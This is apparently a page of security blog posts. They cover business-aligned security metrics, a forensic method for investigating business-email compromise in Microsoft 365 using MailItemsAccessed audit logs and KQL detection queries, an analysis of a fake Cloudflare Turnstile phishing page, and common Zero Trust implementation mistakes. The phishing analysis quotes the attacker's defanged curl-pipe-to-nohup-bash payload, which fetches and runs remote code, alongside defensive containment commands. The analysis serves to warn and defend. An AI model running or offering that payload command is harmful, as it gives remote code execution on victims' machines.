  • Determine the business value at risk: downtime, lost revenue, brand damage, regulatory fines.

  • Use financial terms whenever possible. For example: “A two‑week outage in our payments system could cost us $X in lost transactions, plus $Y in remediation, plus $Z in churn.”

  • Link initiatives to business outcomes: for example, “By reducing mean time to recover (MTTR) we reduce revenue downtime by N hours” rather than “we improved MTTR by X %.”

  • Employ frameworks such as the Gordon–Loeb model that help model optimal investment levels (though they require assumptions).

  • Recognise that not all value is in avoided loss; some lies in enabling business growth, winning deals because you have credible security, or supporting new business models.

Metrics and dashboards: shifting from tech to business

A recurring complaint: security dashboards measure what’s easy, not what’s meaningful. For example, counting “number of alerts” or “vulnerabilities remediated” is fine—but it doesn’t always tie to business risk.

More business‑centric metrics include:

  • Cost of breach avoided (or estimated)

  • Time to revenue recovery after an incident

  • Customer churn attributable to a security incident

  • Brand impact or contract losses following a breach or non‑compliance

  • Percentage of revenue protected by controls

  • Time to market or new product enabled because security risk was managed

Dashboards should present these in a language executives expect: dollars, days, revenue impact, strategic enablement. Security leaders who are business‑aligned reportedly are eight times more likely to be confident in reporting their organisation’s state of risk.

Frameworks that support alignment

To bridge the gap between security activity and business outcome, various frameworks and approaches help:

  • Use‑case based strategy: Define concrete security use‑cases (e.g., “we protect the digital sales channel from disruption”) and link them directly to business functions.

  • Enterprise architecture alignment: Map security controls into business processes, so protection of critical business services is visible.

  • Risk‑based approach: Rather than “patch everything,” focus on the assets and threats that, if realised, would damage business.

  • Governance and stakeholder structure: Organisations with a security‑business interface (e.g., a BISO) tend to align better.

  • Metric derivation methodologies: Academic work (e.g., the GQM‑based methodology) shows how to trace business goals to security metrics in context.

Communicating to executives/board

Communication is where many security programmes stumble. Here are key pointers:

  • Speak business language: Avoid security jargon; translate into risk reduction, revenue protection, competitive advantage.

  • Use stories + numbers: A well‑chosen anecdote (“What would happen if our customer billing system went down?”) combined with financial impact earns attention.

  • Show progress and lead‑lag metrics: Not just “we did X,” but “here’s what that means for business today and tomorrow.”

  • Link to business drivers: Highlight how security supports strategic initiatives (digital transformation, customer trust, brand, M&A).

  • Frame security as an enabler: “Our investment in security enables us to go to market faster with product Y” rather than “we need money to buy product Z.”

  • Prepare for the uncomfortable: Be ready to answer “How secure are we?” with confidence, backed by data.

Implementation steps

Here is a practical sequence for moving from alignment theory to execution:

  1. Audit your current metrics
    • Catalogue all current security metrics (technical, operational) and gauge how many map to business outcomes.
    • Identify which metrics executives care about (revenue, brand, competitive risk).

  2. Engage business stakeholders
    • Identify key business functions and owners (CIO, CFO, business units) and ask: what keeps you up at night? What business processes are critical?
    • Jointly map which assets/processes support those business functions, and the security risks associated.

  3. Link security programmes to business outcomes
    • For each major initiative, define the business outcome it supports, the risk it mitigates, and the metric you’ll use to show progress.
    • Prioritise initiatives that support high‑value business functions or high‑risk scenarios.

  4. Build business‑centric dashboards
    • Create a dashboard for executives/board that shows metrics like “% of revenue protected”, “estimated downtime cost if outage X occurs”, “time to recovery”.
    • Supplement with strategic commentary (what’s changing, what decisions are required).

  5. Embed continuous feedback and iteration
    • Periodically (quarterly or more) revisit alignment: Are business priorities shifting? Are new threats emerging?
    • Adjust metrics and initiatives accordingly to maintain alignment.

  6. Communicate outcomes, not just activity
    • Present progress in business terms: “Because of our work we reduced our estimated exposure by $X over Y months,” or “We enabled the rollout of product Z with acceptable risk and no delay.”
    • Use these facts to support budget discussions, not just ask for funds.

Conclusion

In today’s constrained environment, simply having a solid firewall or endpoint solution isn’t enough. For security to earn its seat at the table, it must speak the language of business: risk, cost, revenue, growth.
When security teams shift from being defenders of the perimeter to enablers of the enterprise, they unlock greater trust, stronger budgets, and a role that transcends compliance.

If you’re leading a security function today, ask yourself: “When the CFO asks what we achieved last quarter, can I answer in dollars and days, or just number of patches and alerts?” The answer will determine whether you’re seen as a cost centre—or a strategic partner.

More Information & Help

If your organization is struggling to align cybersecurity initiatives with business objectives—or if you need to translate risk into financial impact—MicroSolved, Inc. can help.

For over 30 years, we’ve worked with CISOs, risk teams, boards, and executive leadership to:

  • Design and implement risk-centric, business-aligned cybersecurity strategies

  • Develop security KPIs and dashboards that communicate effectively at the executive level

  • Assess existing security programs for gaps in business alignment and ROI

  • Provide CISO-as-a-Service engagements that focus on strategic enablement, not just compliance

  • Facilitate security-business stakeholder engagement sessions to unify priorities

Whether you need a workshop, a second opinion, or a comprehensive security-business alignment initiative, we’re ready to partner with you.

To start a conversation, contact us at:
📧 info@microsolved.com
🌐 https://www.microsolved.com
📞 +1-614-351-1237

Let’s move security from overhead to overachiever—together.

References

  1. Global Cyber Alliance. “Facing the Challenge: Aligning Cybersecurity and Business.” https://gca.isa.org

  2. Transformative CIO. “Cybersecurity ROI: How to Align Protection and Performance.” https://transformative.cio.com

  3. CDG. “How to Build and Justify Your Cybersecurity Budget.” https://www.cdg.io

  4. Wikipedia. “Gordon–Loeb Model.” https://en.wikipedia.org/wiki/Gordon–Loeb_model

  5. Impact. “Maximizing ROI Through Cybersecurity Strategy.” https://www.impactmybiz.com

  6. SecurityScorecard. “How to Justify Your Cybersecurity Budget.” https://securityscorecard.com

  7. PwC. “Elevating Business Alignment in Cybersecurity Strategies.” https://www.pwc.com

  8. Rivial Security. “Maximizing ROI With a Risk-Based Cybersecurity Program.” https://www.rivialsecurity.com

  9. Arxiv. “Deriving Cybersecurity Metrics From Business Goals.” https://arxiv.org/abs/1910.05263

  10. TechTarget. “Cybersecurity Budget Justification: A Guide for CISOs.” https://www.techtarget.com

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Methodology: MailItemsAccessed-Based Investigation for BEC in Microsoft 365

Posted on by
Reply

When your organization faces a business-email compromise (BEC) incident, one of the hardest questions is: “What did the attacker actually read or export?” Conventional logs often show only sign-ins or outbound sends, but not the depth of mailbox item access. The MailItemsAccessed audit event in Microsoft 365 Unified Audit Log (UAL) brings far more visibility — if configured correctly. This article outlines a repeatable, defensible process for investigation using that event, from readiness verification to scoping and reporting.

Objective

Provide a repeatable, defensible process to identify, scope, and validate email exposure in BEC investigations using the MailItemsAccessed audit event.

Phase 1 — Readiness Verification (Pre-Incident)

Before an incident hits, you must validate your logging and audit posture. These steps ensure you’ll have usable data.

1. Confirm Licensing

  • Verify your tenant’s audit plan under Microsoft Purview Audit (Standard or Premium).

    • Audit (Standard): default retention 180 days (previously 90).

    • Audit (Premium): longer retention (e.g., 365 days or more), enriched logs.

  • Confirm that your license level supports the MailItemsAccessed event. Many sources state this requires Audit Premium or an E5-level compliance add-on.

2. Validate Coverage

  • Confirm mailbox auditing is on by default for user mailboxes. Microsoft states this for Exchange Online.

  • Confirm that MailItemsAccessed is part of the default audit set (or if custom audit sets exist, that it’s included). According to Microsoft documentation: the MailItemsAccessed action “covers all mail protocols … and is enabled by default for users assigned an Office 365 E3/E5 or Microsoft 365 E3/E5 licence.”

  • For tenants with customised audit sets, ensure the Microsoft defaults are re-applied so that MailItemsAccessedisn’t inadvertently removed.

3. Retention & Baseline

  • Record what your current audit-log retention policy is (e.g., 180 days vs 365 days) so you know how far back you can search.

  • Establish a baseline volume of MailItemsAccessed events—how many are generated from normal activity. That helps define thresholds for abnormal behaviour during investigation.

Phase 2 — Investigation Workflow (During Incident)

Once an incident is underway and you have suspected mailboxes, follow structured investigation steps.

1. Identify Affected Accounts

From your alarm sources (e.g., anomalous sign-in alerts, inbound or outbound rule creation, unusual inbox rules, compromised credentials) compile a list of mailboxes that might have been accessed.

2. Extract Evidence

In the Purview portal → Audit → filter for Activity = MailItemsAccessed, specifying the time range that covers suspected attacker dwell time.
Export the results to CSV via the Unified Audit Log.

3. Correlate Access Sessions

Group the MailItemsAccessed results by key session indicators:

  • ClientIP

  • SessionId

  • UserAgent / ClientInfoString

Flag sessions that show:

  • Unknown or non-corporate IP addresses (e.g., external ASN)

  • Legacy protocols (IMAP, POP, ActiveSync) or bulk-sync behaviour

  • User agents indicating automated tooling or scripting

4. Quantify Exposure

  • Count distinct ItemIds and FolderPaths to determine how many items and which folders were accessed.

  • Look for throttling indicators (for example more than ~1,000 MailItemsAccessed events in 24 h for a single user may indicate scripted or bulk access).

  • Use the example KQL queries below (see Section “KQL Example Snippets”).

5. Cross-Correlate with Other Events

  • Overlay these results with Send audit events and InboxRule/New-InboxRule events to detect lateral-phish, rule-based fraud or data-staging behaviour.

  • For example, access events followed by mass sends indicate attacker may have read and then exfiltrated or used the account for fraud.

6. Validate Exfil Path

  • Check the client protocol used by the session. If the client is REST API, bulk sync or legacy protocol, that may indicate the attacker is exfiltrating rather than simply reading.

  • If MailItemsAccessed shows items accessed using a legacy IMAP/POP or ActiveSync session — that is a red flag for mass download.

Phase 3 — Analysis & Scoping

Once raw data is collected, move into analysis to scope the incident.

1. Establish Attack Session Timeline

  • Combine sign-in logs (from Microsoft Entra ID Sign‑in Logs) with MailItemsAccessed events to reconstruct dwell time and sequence.

  • Determine when attacker first gained access, how long they stayed, and when they left.

2. Define Affected Items

  • Deliver an itemised summary (folder path, count of items, timestamps) of mailbox items accessed.

  • Limit exposure claims to the items you have logged evidence for — do not assume access of the entire mailbox unless logs show it (or you have other forensic evidence).

3. Corroborate with Throttling and Send Events

  • If you see unusual high-volume access plus spike in Send events or inbox rule changes, you can conclude automated or bulk access occurred.

  • Document IOCs (client IPs, session IDs, user-agent strings) tied to the malicious session.

Phase 4 — Reporting & Validation

After investigation you report findings and validate control-gaps.

1. Evidence Summary

Your report should document:

  • Tenant license type and retention (Audit Standard vs Premium)

  • Audit coverage verification (mailbox auditing enabled, MailItemsAccessed present)

  • Affected item count, folder paths, session data (IPs, protocol, timeframe)

  • Indicators of compromise (IOCs) and signs of mass or scripted access

2. Limitations

Be transparent about limitations:

  • Upgrading to Audit Premium mid-incident will not backfill missing MailItemsAccessed data for the earlier period. Sources note this gap.

  • If mailbox auditing or default audit-sets were customised (and MailItemsAccessed omitted), you may lack full visibility. Example commentary notes this risk.

3. Recommendations

  • Maintain Audit Premium licensing for at-risk tenants (e.g., high-value executive mailboxes or those handling sensitive data).

  • Pre-stage KQL dashboards to detect anomalies (e.g., bursts of MailItemsAccessed, high counts per hour or per day) so you don’t rely solely on ad-hoc searches.

  • Include audit-configuration verification (licensing, mail-audit audit-set, retention) in your regular vCISO or governance audit cadence.

KQL Example Snippets

 
// Detect burst read activity per IP/user
AuditLogs
| where Operation == "MailItemsAccessed"
| summarize Count = count() by UserId, ClientIP, bin(TimeGenerated, 1h)
| where Count > 100

// Detect throttling patterns (scripted or bulk reads)
AuditLogs
| where Operation == "MailItemsAccessed"
| summarize TotalReads = count() by UserId, bin(TimeGenerated, 24h)
| where TotalReads > 1000

MITRE ATT&CK Mapping

Tactic Technique ID
Collection Email Collection T1114.002
Exfiltration Exfiltration Over Web Services T1567.002
Discovery Cloud Service Discovery T1087.004
Defense Evasion Valid Accounts (Cloud) T1078.004

These mappings illustrate how MailItemsAccessed visibility ties directly into attacker-behaviour frameworks in cloud email contexts.

Minimal Control Checklist

  •  Verify Purview Audit plan and retention

  •  Validate MailItemsAccessed events present/searchable for a sample of users

  •  Ensure mailbox auditing defaults (default audit-set) restored and active

  •  Pre-stage anomaly detection queries / dashboards for mailbox-access bursts

Conclusion

When investigating a BEC incident, possession of high-fidelity audit data like MailItemsAccessed transforms your investigation from guesswork into evidence-driven clarity. The key is readiness: licence appropriately, validate your coverage, establish baselines, and when a breach occurs follow a structured workflow from extraction to scoping to reporting. Without that groundwork your post-incident forensics may hit blind spots. But with it you increase your odds of confidently quantifying exposure, attributing access and closing the loop.

Prepare, detect, dissect—repeatably.

References

  1. Microsoft Learn: Manage mailbox auditing – “Mailbox audit logging is turned on by default in all organizations.”

  2. Microsoft Learn: Use MailItemsAccessed to investigate compromised accounts – “The MailItemsAccessed action … is enabled by default for users that are assigned an Office 365 E3/E5 or Microsoft 365 E3/E5 license.”

  3. Microsoft Learn: Auditing solutions in Microsoft Purview – licensing and search prerequisites.

  4. Office365ITPros: Enable MailItemsAccessed event for Exchange Online – “Purview Audit Premium is included in Office 365 E5 and … Audit (Standard) is available to E3 customers.”

  5. TrustedSec blog: MailItemsAccessed woes – “According to Microsoft, this event is only accessible if you have the Microsoft Purview Audit (Premium) functionality.”

  6. Practical365: Microsoft’s slow delivery of MailItemsAccessed audit event – retention commentary.

  7. O365Info: Manage audit log retention policies – up to 10 years for Premium.

  8. Office365ITPros: Mailbox audit event ingestion issues for E3 users.

  9. RedCanary blog: Entra ID service principals and BEC – “MailItemsAccessed is a very high volume record …”

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

A Modern Ruse: When “Cloudflare” Phishing Goes Full-Screen

Posted on by
Reply

Over the years, phishing campaigns have evolved from crude HTML forms to shockingly convincing impersonations of the web infrastructure we rely on every day. The latest example Adam spotted is a masterclass in deception—and a case study in what it looks like when phishing meets full-stack engineering.

Image 720

Let’s break it down.

The Setup

The page loads innocuously. A user stumbles upon what appears to be a familiar Cloudflare “Just a moment…” screen. If you’ve ever browsed the internet behind any semblance of WAF protection, you’ve seen the tell-tale page hundreds of times. Except this one isn’t coming from Cloudflare. It’s fake. Every part of it.

Behind the scenes, the JavaScript executes a brutal move: it stops the current page (window.stop()), wipes the DOM clean, and replaces it with a base64-decoded HTML iframe that mimics Cloudflare’s Turnstile challenge interface. It spoofs your current host into the title bar and dynamically injects the fake content.

A very neat trick—if it weren’t malicious.

The Play

Once the interface loads, it identifies your OS—at least it pretends to. In truth, the script always forces "mac" as the user’s OS regardless of reality. Why? Because the rest of the social engineering depends on that.

It shows terminal instructions and prominently displays a “Copy” button.

The payload?

 
curl -s http[s]://gamma.secureapimiddleware.com/strix/index.php | nohup bash & //defanged the url - MSI

Let that sink in. This isn’t just phishing. This is copy-paste remote code execution. It doesn’t ask for credentials. It doesn’t need a login form. It needs you to paste and hit enter. And if you do, it installs something persistent in the background—likely a beacon, loader, or dropper.

The Tell

The page hides its maliciousness through layers of base64 obfuscation. It forgoes any network indicators until the moment the user executes the command. Even then, the site returns an HTTP 418 (“I’m a teapot”) when fetched via typical tooling like curl. Likely, it expects specific headers or browser behavior.

Notably:

  • Impersonates Cloudflare Turnstile UI with shocking visual fidelity.

  • Forces macOS instructions regardless of the actual user agent.

  • Abuses clipboard to encourage execution of the curl|bash combo.

  • Uses base64 to hide the entire UI and payload.

  • Drops via backgrounded nohup shell execution.

Containment (for Mac targets)

If a user copied and ran the payload, immediate action is necessary. Disconnect the device from the network and begin triage:

  1. Kill live processes:

     
    pkill -f 'curl .*secureapimiddleware\[.]com'
    pkill -f 'nohup bash'

  2. Inspect for signs of persistence:

     
    ls ~/Library/LaunchAgents /Library/Launch* 2>/dev/null | egrep 'strix|gamma|bash'
    crontab -l | egrep 'curl|strix'

  3. Review shell history and nohup output:

     
    grep 'secureapimiddleware' ~/.bash_history ~/.zsh_history
    find ~ -name 'nohup.out'

If you find dropped binaries, reimage the host unless you can verify system integrity end-to-end.

A Lesson in Trust Abuse

This isn’t the old “email + attachment” phishing game. This is trust abuse on a deeper level. It hijacks visual cues, platform indicators, and operating assumptions about services like Cloudflare. It tricks users not with malware attachments, but with shell copy-pasta. That’s a much harder thing to detect—and a much easier thing to execute for attackers.

Final Thought

Train your users not just to avoid shady emails, but to treat curl | bash from the internet as radioactive. No “validation badge” or CAPTCHA-looking widget should ever ask you to run terminal commands.

This is one of the most clever phishing attacks I’ve seen lately—and a chilling sign of where things are headed.

Stay safe out there.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Critical Zero Trust Implementation Blunders Companies Must Avoid Now

Posted on by
Reply

 

Introduction: The Urgent Mandate of Zero Trust

In an era of dissolved perimeters and sophisticated threats, the traditional “trust but verify” security model is obsolete. The rise of distributed workforces and complex cloud environments has rendered castle-and-moat defenses ineffective, making a new mandate clear: Zero Trust. This security framework operates on a simple yet powerful principle: never trust, always verify. It assumes that threats can originate from anywhere, both inside and outside the network, and demands that no user or device be granted access until their identity and context are rigorously validated.

ZeroTrustScorecard

The Shifting Security Perimeter: Why Zero Trust is Non-Negotiable

The modern enterprise no longer has a single, defensible perimeter. Data and applications are scattered across on-premises data centers, multiple cloud platforms, and countless endpoints. This new reality is a goldmine for attackers, who exploit implicit trust within networks to move laterally and escalate privileges. This is compounded by the challenges of remote work; research from Chanty shows that 76% of cybersecurity professionals believe their organization is more vulnerable to cyberattacks because of it. A Zero Trust security model directly confronts this reality by treating every access request as a potential threat, enforcing strict identity verification and least-privilege access for every user and device, regardless of location.

The High Stakes of Implementation: Why Avoiding Blunders is Critical

Adopting a Zero Trust framework is not a minor adjustment—it is a fundamental transformation of an organization’s security posture. While the benefits are immense, the path to implementation is fraught with potential pitfalls. A misstep can do more than just delay progress; it can create new security gaps, disrupt business operations, and waste significant investment. Getting it right requires a strategic, holistic approach. Understanding the most common and critical implementation blunders is the first step toward building a resilient and effective Zero Trust architecture that truly protects an organization’s most valuable assets.

Blunder 1: Mistaking Zero Trust for a Product, Not a Strategy

One of the most pervasive and damaging misconceptions is viewing Zero Trust as a single technology or a suite of products that can be purchased and deployed. This fundamentally misunderstands its nature and sets the stage for inevitable failure.

The Product Pitfall: Believing a Single Solution Solves All

Many vendors market their solutions as “Zero Trust in a box,” leading organizations to believe that buying a specific firewall, identity management tool, or endpoint agent will achieve a Zero Trust posture. This product-centric view ignores the interconnectedness of users, devices, applications, and data. No single vendor or tool can address the full spectrum of a Zero Trust architecture. This approach often results in a collection of siloed security tools that fail to communicate, leaving critical gaps in visibility and enforcement.

The Strategic Imperative: Developing a Comprehensive Zero Trust Vision

True Zero Trust is a strategic framework and a security philosophy that must be woven into the fabric of the organization. It requires a comprehensive vision that aligns security policies with business objectives. This Zero Trust strategy must define how the organization will manage identity, secure devices, control access to applications and networks, and protect data. It is an ongoing process of continuous verification and refinement, not a one-time project with a clear finish line.

Avoiding the Trap: Actionable Steps for a Strategic Foundation

To avoid this blunder, organizations must begin with strategy, not technology. Form a cross-functional team including IT, security, networking, and business leaders to develop a phased roadmap. This plan should start by defining the most critical assets and data to protect—the “protect surface.” From there, map transaction flows, architect a Zero Trust environment, and create dynamic security policies. This strategic foundation ensures that technology purchases serve the overarching goals, rather than dictating them.

Blunder 2: Skipping Comprehensive Inventory and Underestimating Scope

A core principle of Zero Trust is that you cannot protect what you do not know exists. Many implementation efforts falter because they are built on an incomplete or inaccurate understanding of the IT environment. Diving into policy creation without a complete asset inventory is like trying to secure a building without knowing how many doors and windows it has.

The “Unknown Unknowns”: Securing What You Don’t See

Organizations often have significant blind spots in their IT landscape. Shadow IT, forgotten legacy systems, unmanaged devices, and transient cloud workloads create a vast and often invisible attack surface. Without a comprehensive inventory of all assets—including users, devices, applications, networks, and data—it’s impossible to apply consistent security policies. Attackers thrive on these “unknown unknowns,” using them as entry points to bypass security controls.

The Scope Illusion: Underestimating All Connected Workloads and Cloud Environments

The scope of a modern enterprise network extends far beyond the traditional office. It encompasses multi-cloud environments, SaaS applications, IoT devices, and API-driven workloads. Underestimating this complexity is a common mistake. A Zero Trust strategy must account for every interconnected component. Failing to discover and map dependencies between these workloads can lead to policies that either break critical business processes or leave significant security vulnerabilities open for exploitation.

Avoiding the Trap: The Foundational Importance of Discovery and Continuous Asset Management

The solution is to make comprehensive discovery and inventory the non-negotiable first step. Implement automated tools that can continuously scan the environment to identify and classify every asset. This is not a one-time task; it must be an ongoing process of asset management. This complete and dynamic inventory serves as the foundational data source for building effective network segmentation, crafting granular access control policies, and ensuring the Zero Trust architecture covers the entire digital estate.

Blunder 3: Neglecting Network Segmentation and Micro-segmentation

For decades, many organizations have operated on flat, highly permissive internal networks. Once an attacker breaches the perimeter, they can often move laterally with ease. Zero Trust dismantles this outdated model by assuming a breach is inevitable and focusing on containing its impact through rigorous network segmentation.

The Flat Network Fallacy: A Breadth-First Attack Vector

A flat network is an attacker’s playground. After gaining an initial foothold—often through a single compromised device or set of credentials—they can scan the network, discover valuable assets, and escalate privileges without encountering significant barriers. This architectural flaw is responsible for turning minor security incidents into catastrophic data breaches. Relying on perimeter defense alone is a failed strategy in the modern threat landscape.

The Power of Micro-segmentation: Isolating Critical Assets

Micro-segmentation is a core tenet of Zero Trust architecture. It involves dividing the network into small, isolated zones—sometimes down to the individual workload level—and enforcing strict access control policies between them. If one workload is compromised, the breach is contained within its micro-segment, preventing the threat from spreading across the network. This granular control dramatically shrinks the attack surface and limits the blast radius of any security incident.

Avoiding the Trap: Designing Granular Access Controls

To implement micro-segmentation effectively, organizations must move beyond legacy VLANs and firewall rules. Utilize modern software-defined networking and identity-based segmentation tools to create dynamic security policies. These policies should enforce the principle of least privilege, ensuring that applications, workloads, and devices can only communicate with the specific resources they absolutely require to function. This approach creates a resilient network where lateral movement is difficult, if not impossible.

Blunder 4: Overlooking Identity and Access Management Essentials

In a Zero Trust framework, identity is the new perimeter. Since trust is no longer granted based on network location, the ability to robustly authenticate and authorize every user and device becomes the cornerstone of security. Failing to fortify identity management practices is a fatal flaw in any Zero Trust initiative.

The Weakest Link: Compromised Credentials and Privileged Accounts

Stolen credentials remain a primary vector for major data breaches. Weak passwords, shared accounts, and poorly managed privileged access create easy pathways for attackers. An effective identity management program is essential for mitigating these risks. Without strong authentication mechanisms and strict controls over privileged accounts, an organization’s Zero Trust ambitions will be built on a foundation of sand.

The Static Access Mistake: Assuming Trust After Initial Authentication

A common mistake is treating authentication as a one-time event at the point of login. This “authenticate once, trust forever” model is antithetical to Zero Trust. A user’s context can change rapidly: they might switch to an unsecure network, their device could become compromised, or their behavior might suddenly deviate from the norm. Static trust models fail to account for this dynamic risk, leaving a window of opportunity for attackers who have hijacked an active session.

Avoiding the Trap: Fortifying Identity Security Solutions

A robust Zero Trust strategy requires a mature identity and access management (IAM) program. This includes enforcing strong, phishing-resistant multi-factor authentication (MFA) for all users, implementing a least-privilege access model, and using privileged access management (PAM) solutions to secure administrative accounts. Furthermore, organizations must move toward continuous, risk-based authentication, where access is constantly re-evaluated based on real-time signals like device posture, location, and user behavior.

Blunder 5: Ignoring Third-Party Access and Supply Chain Risks

An organization’s security posture is only as strong as its weakest link, which often lies outside its direct control. Vendors, partners, and contractors are an integral part of modern business operations, but they also represent a significant and often overlooked attack vector.

The Extended Attack Surface: Vendor and Supply Chain Vulnerabilities

Every third-party vendor with access to your network or data extends your attack surface. These external entities may not adhere to the same security standards, making them prime targets for attackers seeking a backdoor into your organization. In fact, a staggering 77% of all security breaches originated with a vendor or other third party, according to a Whistic report. Ignoring this risk is a critical oversight.

Lax Access Control for External Entities: A Gateway for Attackers

Granting vendors broad, persistent access—often through traditional VPNs—is a recipe for disaster. This approach provides them with the same level of implicit trust as an internal employee, allowing them to potentially access sensitive systems and data far beyond the scope of their legitimate needs. If a vendor’s network is compromised, that access becomes a direct conduit for an attacker into your environment.

Avoiding the Trap: Strict Vetting and Granular Controls

Applying Zero Trust principles to third-party access is non-negotiable. Begin by conducting rigorous security assessments of all vendors before granting them access. Replace broad VPN access with granular, application-specific access controls that enforce the principle of least privilege. Each external user’s identity should be strictly verified, and their access should be limited to only the specific resources required for their role, for the minimum time necessary.

Blunder 6: Disregarding User Experience and Neglecting Security Awareness

A Zero Trust implementation can be technically perfect but fail completely if it ignores the human element. Security measures that are overly complex or disruptive to workflows will inevitably be circumvented by users focused on productivity.

The Friction Fallout: User Workarounds and Shadow IT Resurgence

If security policies introduce excessive friction—such as constant, unnecessary authentication prompts or blocked access to legitimate tools—employees will find ways around them. This can lead to a resurgence of Shadow IT, where users adopt unsanctioned applications and services to get their work done, creating massive security blind spots. A successful Zero Trust strategy must balance security with usability.

The Human Firewall Failure: Lack of Security Awareness Training

Zero Trust is a technical framework, but it relies on users to be vigilant partners in security. Without proper training, employees may not understand their role in the new model. They may fall for sophisticated phishing attacks, which have seen a 1,265% increase driven by GenAI, unknowingly providing attackers with the initial credentials needed to challenge the Zero Trust defenses.

Avoiding the Trap: Empowering Users with Secure Simplicity

Strive to make the secure path the easy path. Implement solutions that leverage risk-based, adaptive authentication to minimize friction for low-risk activities while stepping up verification for sensitive actions. Invest in continuous security awareness training that educates employees on new threats and their responsibilities within the Zero Trust framework. When users understand the “why” behind the security policies and find them easy to follow, they become a powerful asset rather than a liability.

Blunder 7: Treating Zero Trust as a “Set It and Forget It” Initiative

The final critical blunder is viewing Zero Trust as a project with a defined endpoint. The threat landscape, technology stacks, and business needs are in a constant state of flux. A Zero Trust architecture that is not designed to adapt will quickly become obsolete and ineffective.

The Static Security Stagnation: Failing to Adapt to Threat Landscape Changes

Attackers are constantly evolving their tactics. A security policy that is effective today may be easily bypassed tomorrow. A static Zero Trust implementation fails to account for this dynamic reality. Without continuous monitoring, analysis, and refinement, security policies can become stale, and new vulnerabilities in applications or workloads can go unnoticed, creating fresh gaps for exploitation. Furthermore, the integration of automation is crucial, as organizations using security AI can identify and contain a data breach 80 days faster than those without.

Conclusion

Successfully implementing a Zero Trust architecture is a transformative journey that demands strategic foresight and meticulous execution. The path is challenging, but by avoiding these critical blunders, organizations can build a resilient, adaptive security posture fit for the modern digital era.

The key takeaways are clear:

  • Embrace the Strategy: Treat Zero Trust as a guiding philosophy, not a checklist of products. Build a comprehensive roadmap before investing in technology.
  • Know Your Terrain: Make complete and continuous inventory of all assets—users, devices, workloads, and data—the absolute foundation of your initiative.
  • Isolate and Contain: Leverage micro-segmentation to shrink your attack surface and prevent the lateral movement of threats.
  • Fortify Identity: Make strong, adaptive identity and access management the core of your security controls.
  • Balance Security and Usability: Design a framework that empowers users and integrates seamlessly into their workflows, supported by ongoing security awareness.
  • Commit to the Journey: Recognize that Zero Trust is an iterative, ongoing process of refinement and adaptation, not a one-time project.

By proactively addressing these potential pitfalls, your organization can move beyond legacy security models and chart a confident course toward a future where trust is never assumed and every single access request is rigorously verified.

Contact MicroSolved, Inc. for More Information or Assistance

For expert guidance on implementing a resilient Zero Trust architecture tailored to your organization’s unique needs, consider reaching out to the experienced team at MicroSolved, Inc. With decades of experience in information security and a proven track record of helping companies navigate complex security landscapes, MicroSolved, Inc. offers valuable insights and solutions to enhance your security posture.

  • Phone: Reach us at +1.614.351.1237
  • Email: Drop us a line at info@microsolved.com
  • Website: Visit our website at www.microsolved.com for more information on our services and expertise.

Our team of seasoned experts is ready to assist you at any stage of your Zero Trust journey, from initial strategy development to continuous monitoring and refinement. Don’t hesitate to contact us for comprehensive security solutions that align with your business goals and operational requirements.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.